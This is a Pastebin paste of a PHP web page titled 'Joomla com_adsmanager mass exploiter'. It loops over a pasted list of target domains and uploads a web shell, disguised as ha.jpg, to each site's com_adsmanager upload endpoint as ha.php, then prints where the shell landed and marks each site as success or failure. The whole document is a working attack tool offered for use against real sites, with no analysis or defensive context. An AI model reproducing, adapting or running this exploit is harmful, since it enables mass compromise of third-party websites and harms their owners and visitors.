KeyDown

Joomla com_adsmanager mass exploiter

Jan 2nd, 2016
470
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.08 KB | None | 0 0
  1. visit my blog => www.annamcoder.tk
  2.  
  3. CUT HERE --------------------------------------------------------------------------------------------------------------------------
  4.  
  5. <center><br><br>
  6. <font color="lime" size="6">
  7. <b>Joomla com_adsmanager mass exploiter</b></font>
  8. <br><br>
  9. <form action="" method="POST">
  10. <textarea name="url" style="margin: 0px; width: 626px; height: 236px;">put your target without http://
  11. example :
  12.  
  13. www.site.com
  14. www.site2.com
  15. www.site3.com
  16. www.site4.com
  17. www.site5.com
  18. </textarea><br>
  19. <br><br><input type="submit" class="btn btn-success" value="-=[ GO TO HELL SOON ]=-"/></form>
  20. <br><br>
  21. <?php
  22. #===============================================#
  23. #-------Joomla com_adsmanager Exploiter--------#
  24. #------------Coded By Synchronizer--------------#
  25. #-Gretz : Stupidc0de - IDCA - Indonesian Coder--#
  26. #===============================================#
  27. if(isset($_POST['url'])) {
  28. function StupidC0de($URL) {
  29. if(!function_exists('curl_init')) {
  30. die ("Curl PHP package not installed");
  31. }
  32. $inifile = "ha.jpg"; #Ganti shell mu dimari (shell extensi .jpg)
  33. $synchronizer = curl_init();
  34. curl_setopt($synchronizer, CURLOPT_POST, true);
  35. curl_setopt($synchronizer, CURLOPT_POSTFIELDS,
  36. array('file' => "@$inifile",'name' => "ha.php"));
  37. curl_setopt($synchronizer, CURLOPT_RETURNTRANSFER, 1);
  38. curl_setopt($synchronizer, CURLOPT_URL, $URL);
  39. curl_setopt($synchronizer, CURLOPT_HEADER, false);
  40. $response = curl_exec($synchronizer);
  41. return $response;
  42. }
  43. $textarea = htmlspecialchars(trim($_POST['url']));
  44. $j = explode("\r\n",$textarea);
  45. foreach($j as $sync){
  46. $n = StupidC0de($sync."/index.php?option=com_adsmanager&task=upload&tmpl=component");
  47. $b = str_replace('{"jsonrpc" : "2.0", "result" : null, "id" : "id","tmpfile" : "', '<font color=lime><b>'.$sync.'/tmp/plupload/', $n);
  48. $bz = str_replace('"}', '</font><font color=yellow> - SUCCESS !</b></font>', $b);
  49. if(preg_match('/{"jsonrpc" : "2.0", "result" : null, "id" : "id","tmpfile" : "/',$n)==1) {
  50. echo "<center>".$bz."</center><br>";
  51. } else {
  52. echo "<center>".$sync."<font color=red><b> - FAILED !</b></font></center><br>";
  53. }
  54. }
  55. }
  56. ?>
Advertisement
Add Comment
Please, Sign In to add comment